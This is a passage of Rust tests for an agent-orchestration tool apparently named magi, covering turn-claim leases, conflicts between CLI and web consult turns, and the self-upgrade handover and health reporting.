19697 let ui = Ui::new(
19698 Queue::at(home.path().join("queue")),
19699 Questions::at(home.path().join("questions")),
19700 Talks::at(home.path().join("talks")),
19701 home.path().join("runs"),
19702 home.path().to_path_buf(),
19703 PathBuf::from("/repo"),
19704 )
19705 .with_worktrees_root(home.path().join("wt"));
19706 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
19707 let again = ui.begin_resume("20260901-000000-once");
19708 assert!(again.is_err(), "a second tap must not start a second graph");
19709 drop(first);
19710 assert!(
19711 ui.begin_resume("20260901-000000-once").is_ok(),
19712 "and the claim is released when the attempt ends"
19713 );
19714 }
19715
19716 #[test]
19717 fn talk_thinking_tracks_only_its_held_turn_claim() {
19718 let home = TempDir::new().expect("temp home");
19719 let ui = Ui::new(
19720 Queue::at(home.path().join("queue")),
19721 Questions::at(home.path().join("questions")),
19722 Talks::at(home.path().join("talks")),
19723 home.path().join("runs"),
19724 home.path().to_path_buf(),
19725 PathBuf::from("/repo"),
19726 )
19727 .with_worktrees_root(home.path().join("wt"));
19728 let id = "20260901-000000-once";
19729
19730 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
19731 let turn = ui.begin_talk_turn(id).expect("claim turn");
19732 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
19733 assert!(
19734 !ui.is_thinking("20260901-000000-other"),
19735 "one talk's turn does not make another talk busy"
19736 );
19737 drop(turn);
19738 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
19739 }
19740
19741 #[test]
19742 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
19743 let home = TempDir::new().expect("temp home");
19744 let talks = Talks::at(home.path().join("talks"));
19745 let ui = Ui::new(
19746 Queue::at(home.path().join("queue")),
19747 Questions::at(home.path().join("questions")),
19748 talks.clone(),
19749 home.path().join("runs"),
19750 home.path().to_path_buf(),
19751 PathBuf::from("/repo"),
19752 )
19753 .with_worktrees_root(home.path().join("wt"));
19754 let id = "20260901-000000-cross";
19755
19756 let other = Talks::at(home.path().join("talks"))
19757 .claim_turn(id)
19758 .expect("claim")
19759 .expect("the other process wins");
19760 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
19761 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
19762 assert!(
19763 matches!(
19764 ui.begin_talk_turn_unless_pending(id).expect("start"),
19765 TalkTurnStart::Foreign
19766 ),
19767 "a foreign holder is refused, not queued behind"
19768 );
19769 assert!(
19770 !ui.talk_turns.lock().unwrap().live.contains(id),
19771 "a refused claim leaves no in-process entry behind"
19772 );
19773 drop(other);
19774 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
19775 assert!(talks.turn_held(id), "the web turn holds the lease");
19776 drop(turn);
19777 assert!(
19778 !talks.turn_held(id),
19779 "dropping the guard releases the lease"
19780 );
19781 }
19782
19783 fn consult_question(ui: &Ui) -> Question {
19784 let mut q = Question::new(
19785 "20260901-000000-consult".to_owned(),
19786 "implement".to_owned(),
19787 "impl-A".to_owned(),
19788 "Which backend?".to_owned(),
19789 String::new(),
19790 vec!["SQLite".to_owned(), "Redis".to_owned()],
19791 );
19792 ui.questions.put(&mut q).expect("question");
19793 q
19794 }
19795
19796 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
19797 (
19798 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
19799 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
19800 )
19801 }
19802
19803 #[tokio::test]
19804 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
19805 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19806 let q = consult_question(&ui);
19807 let talk = ui.talks.get(&id).expect("talk");
19808 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
19809 let before = consult_snapshot(&ui, &q, &id);
19810 let cli_talks = Talks::at(ui.home.join("talks"));
19811 assert_eq!(
19812 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
19813 .await
19814 .expect("CLI starter"),
19815 crate::consult::Started::Busy
19816 );
19817 assert_eq!(consult_snapshot(&ui, &q, &id), before);
19818 assert!(ui.is_thinking(&id));
19819 drop(guard);
19820 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
19821 }
19822
19823 #[tokio::test]
19824 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
19825 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19826 let q = consult_question(&ui);
19827 let talk = ui.talks.get(&id).expect("talk");
19828 let started = tmp.path().join("started");
19829 let release = tmp.path().join("release");
19830 let script = tmp.path().join("consult-agent.sh");
19831 std::fs::write(
19832 &script,
19833 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
19834 )
19835 .expect("script");
19836 let mut cfg = stub_config();
19837 cfg.agents[0].id = "mock".to_owned();
19838 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
19839 cfg.agents[0].env = std::collections::BTreeMap::from([
19840 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
19841 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
19842 ]);
19843 let questions = ui.questions.clone();
19844 let cli_talks = Talks::at(ui.home.join("talks"));
19845 let cli_q = q.clone();
19846 let turn = tokio::spawn(async move {
19847 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
19848 });
19849 let ready = tokio::time::timeout(Duration::from_secs(30), async {
19850 while !started.exists() {
19851 tokio::time::sleep(Duration::from_millis(10)).await;
19852 }
19853 })
19854 .await;
19855 let refusal = if ready.is_ok() {
19858 let before = consult_snapshot(&ui, &q, &id);
19859 let result = talk_say(
19860 State(Arc::clone(&ui)),
19861 Path(id.clone()),
19862 Ok(Json(NewTalkTurn {
19863 reply_to: None,
19864 text: "another message".to_owned(),
19865 attachments: Vec::new(),
19866 })),
19867 )
19868 .await;
19869 Some((result, before, consult_snapshot(&ui, &q, &id)))
19870 } else {
19871 None
19872 };
19873 std::fs::write(&release, "").expect("release agent");
19874 let done = turn.await.expect("join CLI turn");
19875 ready.expect("agent started before deadline");
19876 let (result, before, after) = refusal.expect("web request");
19877 let error = result.expect_err("web must refuse the CLI's turn");
19878 assert_eq!(error.status, StatusCode::CONFLICT);
19879 assert!(error.message.contains("a turn is already running"));
19880 assert_eq!(
19881 after, before,
19882 "refusal preserves question, draft and history"
19883 );
19884 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
19885 let guard = ui
19886 .begin_talk_turn(&id)
19887 .expect("web claim")
19888 .expect("free again");
19889 drop(guard);
19890 }
19891
19892 #[test]
19893 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
19894 let home = TempDir::new().expect("temp home");
19895 let talks = Talks::at(home.path().join("talks"));
19896 let ui = Ui::new(
19897 Queue::at(home.path().join("queue")),
19898 Questions::at(home.path().join("questions")),
19899 talks.clone(),
19900 home.path().join("runs"),
19901 home.path().to_path_buf(),
19902 PathBuf::from("/repo"),
19903 )
19904 .with_worktrees_root(home.path().join("wt"));
19905 let id = "20260901-000000-order";
19906 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19907 let slots = ui.talk_turns.lock().unwrap();
19909 let dropper = std::thread::spawn(move || drop(turn));
19910 let start = std::time::Instant::now();
19911 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
19912 std::thread::sleep(Duration::from_millis(5));
19913 }
19914 assert!(!talks.turn_held(id), "the lease is released first");
19915 assert!(slots.live.contains(id), "the slot is still held meanwhile");
19916 drop(slots);
19917 dropper.join().expect("join");
19918 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
19919 }
19920
19921 #[tokio::test]
19922 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
19923 let fx = Fixture::start().await;
19924 let mut beat = crate::daemon::Status::new();
19928 beat.pid = 4321;
19929 beat.updated_at = jiff::Timestamp::now();
19930 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19931 .expect("publish a heartbeat");
19932
19933 let res = fx.post("/api/upgrade", None).await;
19934 assert_eq!(res.status, 409);
19935 let err = res.json()["error"].as_str().unwrap().to_owned();
19936 assert!(err.contains("4321"), "the refusal names the owner: {err}");
19937 assert!(err.contains("old one against the same queue"), "{err}");
19938 }
19939
19940 #[test]
19947 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
19948 assert!(!should_spawn_recheck(&crate::config::Update {
19949 mode: UpdateMode::Off,
19950 interval: None,
19951 }));
19952
19953 unsafe {
19956 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19957 }
19958 let killed = should_spawn_recheck(&crate::config::Update {
19959 mode: UpdateMode::Notify,
19960 interval: None,
19961 });
19962 unsafe {
19963 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19964 }
19965 assert!(
19966 !killed,
19967 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
19968 one-time startup check"
19969 );
19970
19971 assert!(should_spawn_recheck(&crate::config::Update {
19972 mode: UpdateMode::Notify,
19973 interval: None,
19974 }));
19975 }
19976
19977 #[test]
19983 fn recheck_poll_period_tracks_a_short_configured_interval() {
19984 let short = crate::config::Update {
19985 mode: UpdateMode::Notify,
19986 interval: Some("1m".to_owned()),
19987 };
19988 let period = recheck_poll_period(&short);
19989 assert!(
19990 period <= Duration::from_secs(30),
19991 "a one-minute interval must wake the task far sooner than the \
19992 default ceiling, or the deck would not notice within the \
19993 interval the operator configured: got {period:?}"
19994 );
19995
19996 let default = crate::config::Update {
19997 mode: UpdateMode::Notify,
19998 interval: None,
19999 };
20000 assert_eq!(
20001 recheck_poll_period(&default),
20002 UPDATE_RECHECK_POLL_MAX,
20003 "the default day-long interval should poll at the (capped) \
20004 ceiling rather than needlessly often"
20005 );
20006 }
20007
20008 #[test]
20016 fn recheck_skips_the_network_before_the_interval_elapses() {
20017 let dir = TempDir::new().expect("temp dir");
20018 let path = dir.path().join("state.json");
20019 let state = kaishin::UpdateCheckState {
20020 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
20021 last_known_latest: None,
20022 last_known_url: None,
20023 };
20024 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
20025
20026 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
20027 assert!(
20028 !update_recheck_due(&checker, None),
20029 "a check made moments ago must not be repeated before the \
20030 configured interval elapses"
20031 );
20032 }
20033
20034 #[test]
20040 fn recheck_defers_to_an_upgrade_already_in_flight() {
20041 let dir = TempDir::new().expect("temp dir");
20042 let path = dir.path().join("state.json");
20043 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
20044 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
20045
20046 assert!(
20047 !update_recheck_due(&checker, Some(&progress)),
20048 "a recheck must not run while an upgrade this deck started is \
20049 still moving"
20050 );
20051 }
20052
20053 #[tokio::test]
20054 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
20055 unsafe {
20067 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20068 }
20069 let fx = Fixture::start().await;
20070 let res = fx.post("/api/upgrade", None).await;
20071 unsafe {
20072 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20073 }
20074 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20075 let body = res.json();
20076 assert!(body["to"].is_null(), "there was no release to move to");
20077 assert!(body["parked"].is_null(), "and nothing was parked");
20078 assert!(
20079 body["detail"]
20080 .as_str()
20081 .unwrap()
20082 .contains("disabled by MAGI_NO_AUTOUPDATE"),
20083 "{body:?}"
20084 );
20085 }
20086
20087 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
20088 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
20089 p.stage = stage;
20090 p
20091 }
20092
20093 #[test]
20094 fn busy_stages_match_the_ui_set() {
20095 use crate::updater::Stage;
20096 assert!(APP_JS.contains(
20097 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
20098 ));
20099 for s in [
20100 Stage::Downloading,
20101 Stage::Replaced,
20102 Stage::Parking,
20103 Stage::Restarting,
20104 ] {
20105 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
20106 }
20107 for s in [Stage::Done, Stage::Failed] {
20108 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
20109 }
20110 assert!(upgrade_in_motion(None).is_none());
20111 }
20112
20113 #[tokio::test]
20114 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
20115 use crate::updater::Stage;
20116 for stage in [
20117 Stage::Downloading,
20118 Stage::Replaced,
20119 Stage::Parking,
20120 Stage::Restarting,
20121 ] {
20122 let fx = Fixture::start().await;
20123 let seeded = seeded_progress(stage);
20124 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
20125 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20126 .expect("read");
20127
20128 let res = fx.post("/api/upgrade", None).await;
20129 assert_eq!(res.status, 409, "{stage:?}");
20130 let err = res.json()["error"].as_str().unwrap().to_owned();
20131 assert!(err.contains("already in progress"), "{err}");
20132 assert!(err.contains(stage.as_str()), "{err}");
20133
20134 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20135 .expect("read");
20136 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
20137 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
20138 .unwrap_or_default();
20139 assert!(!log.contains("signalling HANDOVER"), "{log}");
20140 }
20141 }
20142
20143 #[test]
20144 fn upgrade_retry_timing_only_parses_known_diagnostics() {
20145 assert_eq!(
20146 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
20147 Some(3723)
20148 );
20149 assert_eq!(
20150 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
20151 Some(60)
20152 );
20153 assert_eq!(
20154 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
20155 Some(0)
20156 );
20157 for message in [
20158 "permission denied",
20159 "GitHub API rate limit exceeded",
20160 "GitHub rate limit (resets in unknown)",
20161 "GitHub rate limit (resets in 18446744073709551615d)",
20162 ] {
20163 assert_eq!(upgrade_retry_after(message), None, "{message}");
20164 }
20165 }
20166
20167 #[tokio::test]
20168 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
20169 let home = TempDir::new().unwrap();
20170 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
20171 ui.start_loop(None).unwrap();
20172 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
20173 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
20174 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
20175 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
20176 let response = finish_upgrade_request(&ui, result);
20177 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
20178 assert_eq!(response.headers()["retry-after"], "120");
20179 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
20180 .await
20181 .unwrap();
20182 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
20183 assert!(body["error"].as_str().unwrap().contains(reason));
20184 assert_eq!(body["retry_after_secs"], 120);
20185 assert!(body["retry_at"].as_u64().is_some());
20186 for _ in 0..2 {
20187 let view = health(State(ui.clone())).await.unwrap().0;
20188 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
20189 assert_eq!(failure, body);
20190 }
20191 assert_eq!(
20192 std::fs::read(updater::progress_path(home.path())).unwrap(),
20193 before
20194 );
20195 assert!(!ui.lock_loop().resume_after_handover);
20196 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
20197 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
20198 let gate = ui.upgrade_gate.lock().await;
20200 assert_eq!(
20201 upgrade_post(State(ui.clone())).await.status(),
20202 StatusCode::CONFLICT
20203 );
20204 drop(gate);
20205 assert!(
20206 health(State(ui.clone()))
20207 .await
20208 .unwrap()
20209 .0
20210 .upgrade_request_error
20211 .is_some()
20212 );
20213 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
20214 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
20215 assert!(
20216 health(State(ui.clone()))
20217 .await
20218 .unwrap()
20219 .0
20220 .upgrade_request_error
20221 .is_none()
20222 );
20223 let live = ui.lock_loop().live.take().unwrap();
20224 live.stop.stop();
20225 live.handle.await.unwrap();
20226 }
20227
20228 #[tokio::test]
20229 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
20230 use crate::updater::Stage;
20231 let repo = TempDir::new().expect("repo dir");
20232 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20233 .expect("write magi.toml");
20234 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20235 for stage in [Stage::Done, Stage::Failed] {
20236 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
20237 let res = fx.post("/api/upgrade", None).await;
20238 assert_eq!(res.status, 200, "{stage:?}");
20239 }
20240 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
20242 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
20243 }
20244
20245 #[tokio::test]
20246 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
20247 let repo = TempDir::new().expect("repo dir");
20263 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20264 .expect("write magi.toml");
20265 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20266
20267 let res = fx.post("/api/upgrade", None).await;
20273 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20274 let body = res.json();
20275 assert!(body["to"].is_null(), "there was no release to move to");
20276 assert!(body["parked"].is_null(), "and nothing was parked");
20277 assert!(
20278 body["detail"]
20279 .as_str()
20280 .unwrap()
20281 .contains("nothing restarted"),
20282 "{body:?}"
20283 );
20284 }
20285
20286 #[tokio::test]
20287 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
20288 let repo = TempDir::new().expect("repo dir");
20293 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20294 .expect("write magi.toml");
20295 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20296
20297 let health = fx.get("/api/health").await.json();
20298 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
20299 assert_eq!(
20300 health["update"]["available"], false,
20301 "checking is off, which reads as \"unknown\", not \"none\""
20302 );
20303 assert!(health["update"]["to"].is_null());
20304 assert!(
20305 health["upgrade"].is_null(),
20306 "nothing has ever asked this deck to upgrade"
20307 );
20308 }
20309
20310 #[tokio::test]
20311 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
20312 let fx = Fixture::start().await;
20313 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
20314
20315 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20316 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20317 progress.advance(crate::updater::Stage::Parking);
20318 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20319
20320 let health = fx.get("/api/health").await.json();
20321 assert_eq!(health["upgrade"]["stage"], "parking");
20322 assert_eq!(health["upgrade"]["from"], "0.5.1");
20323 assert_eq!(health["upgrade"]["to"], "0.5.2");
20324 let waiting_on = health["upgrade"]["waiting_on"]
20325 .as_str()
20326 .expect("waiting_on is set while parking a known run");
20327 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20328 assert!(waiting_on.contains("implementing"), "{waiting_on}");
20329 }
20330
20331 #[tokio::test]
20332 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
20333 let fx = Fixture::start().await;
20334 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20335 progress.advance(crate::updater::Stage::Done);
20336 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20337
20338 let health = fx.get("/api/health").await.json();
20339 assert_eq!(health["upgrade"]["stage"], "done");
20340 assert!(
20341 health["upgrade"]["waiting_on"].is_null(),
20342 "nothing to wait on once it is done"
20343 );
20344 }
20345
20346 #[tokio::test]
20347 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
20348 let home = TempDir::new().expect("temp home");
20349 let runs = home.path().join("runs");
20350 std::fs::create_dir_all(&runs).expect("runs dir");
20351 let ui = Ui::new(
20352 Queue::at(home.path().join("queue")),
20353 Questions::at(home.path().join("questions")),
20354 Talks::at(home.path().join("talks")),
20355 runs,
20356 home.path().to_path_buf(),
20357 PathBuf::from("/repo/magi"),
20358 )
20359 .with_launch(launch_idle);
20360 let looping = ui.looping();
20361 let turns = ui.turns();
20362 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20363 .await
20364 .expect("bind loopback");
20365 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20366
20367 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20368 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20369
20370 hand_over(
20371 home.path(),
20372 &looping,
20373 &turns,
20374 &|_: &[String]| Duration::from_secs(5),
20375 served,
20376 |_| Ok(1),
20377 )
20378 .await
20379 .expect("hand over");
20380
20381 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
20382 assert_eq!(
20383 after.stage,
20384 crate::updater::Stage::Restarting,
20385 "hand_over owns the record through parking and up to restarting; \
20386 the successor is what finishes it"
20387 );
20388 }
20389
20390 #[tokio::test]
20393 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
20394 for fail in [false, true] {
20395 let home = TempDir::new().expect("temp home");
20396 let ui = idle_ui(&home);
20397 let looping = ui.looping();
20398 let turns = ui.turns();
20399 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20400 .await
20401 .expect("bind loopback");
20402 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20403 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20404 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20405
20406 let calls = std::sync::atomic::AtomicUsize::new(0);
20407 let outcome = hand_over(
20408 home.path(),
20409 &looping,
20410 &turns,
20411 &|_: &[String]| Duration::from_secs(5),
20412 served,
20413 |_| {
20414 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20415 if fail {
20416 anyhow::bail!("no exec")
20417 } else {
20418 Ok(4242)
20419 }
20420 },
20421 )
20422 .await;
20423 assert_eq!(outcome.is_err(), fail);
20424 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20425
20426 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
20427 .expect("upgrade.log is written under the home");
20428 for step in [
20429 "entered",
20430 "finish_loop",
20431 "listener released",
20432 "starting the successor",
20433 ] {
20434 assert!(log.contains(step), "missing `{step}` in:\n{log}");
20435 }
20436 assert!(
20437 log.contains(if fail { "did not start" } else { "pid 4242" }),
20438 "{log}"
20439 );
20440 }
20441 }
20442
20443 #[tokio::test]
20446 async fn the_handover_signal_wakes_one_waiter_once() {
20447 let signal = Notify::new();
20448 signal.notify_one();
20450 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
20451 .await
20452 .expect("an early signal is still seen");
20453 assert!(
20455 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
20456 .await
20457 .is_err(),
20458 "a consumed signal must not wake a second time"
20459 );
20460 let signal = std::sync::Arc::new(signal);
20462 let waiter = tokio::spawn({
20463 let signal = std::sync::Arc::clone(&signal);
20464 async move { wait_for_handover(&signal).await }
20465 });
20466 tokio::time::sleep(Duration::from_millis(20)).await;
20467 assert!(!waiter.is_finished(), "nothing was signalled yet");
20468 signal.notify_one();
20469 tokio::time::timeout(Duration::from_secs(5), waiter)
20470 .await
20471 .expect("a late signal wakes the waiter")
20472 .expect("join");
20473 }
20474
20475 #[tokio::test]
20476 async fn health_says_how_long_a_handover_has_been_stuck() {
20477 let fx = Fixture::start().await;
20478 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20479 progress.advance(crate::updater::Stage::Replaced);
20480 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
20481 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20482
20483 let health = fx.get("/api/health").await.json();
20484 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
20485 assert!(stuck >= 600, "{stuck}");
20486 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
20487 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
20488 }
20489
20490 #[tokio::test]
20491 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
20492 let home = tempfile::tempdir().expect("temp home");
20493 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20494 progress.advance(crate::updater::Stage::Parking);
20495 crate::updater::write_progress(home.path(), &progress).expect("seed");
20496 let mut again = progress.clone();
20498 again.advance(crate::updater::Stage::Replaced);
20499 crate::updater::write_progress(home.path(), &again).expect("replaced");
20500 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20501 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
20502 let after = crate::updater::read_progress(home.path()).expect("record");
20503 assert_eq!(after.stage, crate::updater::Stage::Parking);
20504 }
20505
20506 #[tokio::test]
20507 async fn health_does_not_call_a_live_parking_wait_stuck() {
20508 let fx = Fixture::start().await;
20509 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20510 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20511 progress.advance(crate::updater::Stage::Parking);
20512 let hours = Duration::from_secs(3 * 3600);
20513 progress.started_at = Timestamp::now() - hours;
20514 progress.updated_at = Timestamp::now() - hours;
20515 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20516 let _lease = crate::updater::LeaseGuard::enter(
20517 fx.home.path(),
20518 Some("20260905-000000-cd51".to_owned()),
20519 );
20520
20521 let health = fx.get("/api/health").await.json();
20522 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
20523 assert!(health["upgrade"]["stuck_kind"].is_null());
20524 assert_eq!(health["upgrade"]["handover_alive"], true);
20525 let waiting_on = health["upgrade"]["waiting_on"]
20526 .as_str()
20527 .expect("waiting_on");
20528 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20529 }
20530
20531 fn idle_ui(home: &TempDir) -> Ui {
20532 let runs = home.path().join("runs");
20533 std::fs::create_dir_all(&runs).expect("runs dir");
20534 Ui::new(
20535 Queue::at(home.path().join("queue")),
20536 Questions::at(home.path().join("questions")),
20537 Talks::at(home.path().join("talks")),
20538 runs,
20539 home.path().to_path_buf(),
20540 PathBuf::from("/repo/magi"),
20541 )
20542 .with_launch(launch_idle)
20543 }
20544
20545 async fn park_fixture(
20546 home: &TempDir,
20547 ) -> (
20548 Ui,
20549 Arc<Mutex<LoopState>>,
20550 Arc<Mutex<TalkTurns>>,
20551 tokio::task::JoinHandle<std::io::Result<()>>,
20552 ) {
20553 let ui = idle_ui(home);
20554 let looping = ui.looping();
20555 let turns = ui.turns();
20556 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20557 .await
20558 .expect("bind loopback");
20559 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
20560 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20561 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20562 (ui, looping, turns, served)
20563 }
20564
20565 #[tokio::test]
20569 async fn hand_over_waits_for_a_running_chat_turn() {
20570 let home = TempDir::new().expect("temp home");
20571 let (ui, looping, turns, served) = park_fixture(&home).await;
20572 let ui = Arc::new(ui);
20573 let id = "20260901-000000-chat";
20574 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20575
20576 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20577 let handover = tokio::spawn({
20578 let home = home.path().to_path_buf();
20579 let turns = Arc::clone(&turns);
20580 let calls = Arc::clone(&calls);
20581 async move {
20582 hand_over(
20583 &home,
20584 &looping,
20585 &turns,
20586 &|_: &[String]| Duration::from_secs(60),
20587 served,
20588 move |_| {
20589 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20590 Ok(1)
20591 },
20592 )
20593 .await
20594 }
20595 });
20596
20597 let waiting = async {
20598 for _ in 0..200 {
20599 if crate::updater::read_progress(home.path())
20600 .is_some_and(|p| p.parked_talks == [id.to_owned()])
20601 {
20602 return;
20603 }
20604 tokio::time::sleep(Duration::from_millis(25)).await;
20605 }
20606 panic!("the park never named the chat turn");
20607 };
20608 waiting.await;
20609 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20610
20611 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20614 assert!(
20615 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20616 "a direct start says an upgrade is in progress"
20617 );
20618 assert!(
20619 ui.begin_queued_talk_turn("20260901-000000-late")
20620 .expect("queued claim")
20621 .is_none()
20622 );
20623 assert!(matches!(
20624 ui.begin_talk_turn_unless_pending("20260901-000000-late")
20625 .expect("start"),
20626 TalkTurnStart::Busy
20627 ));
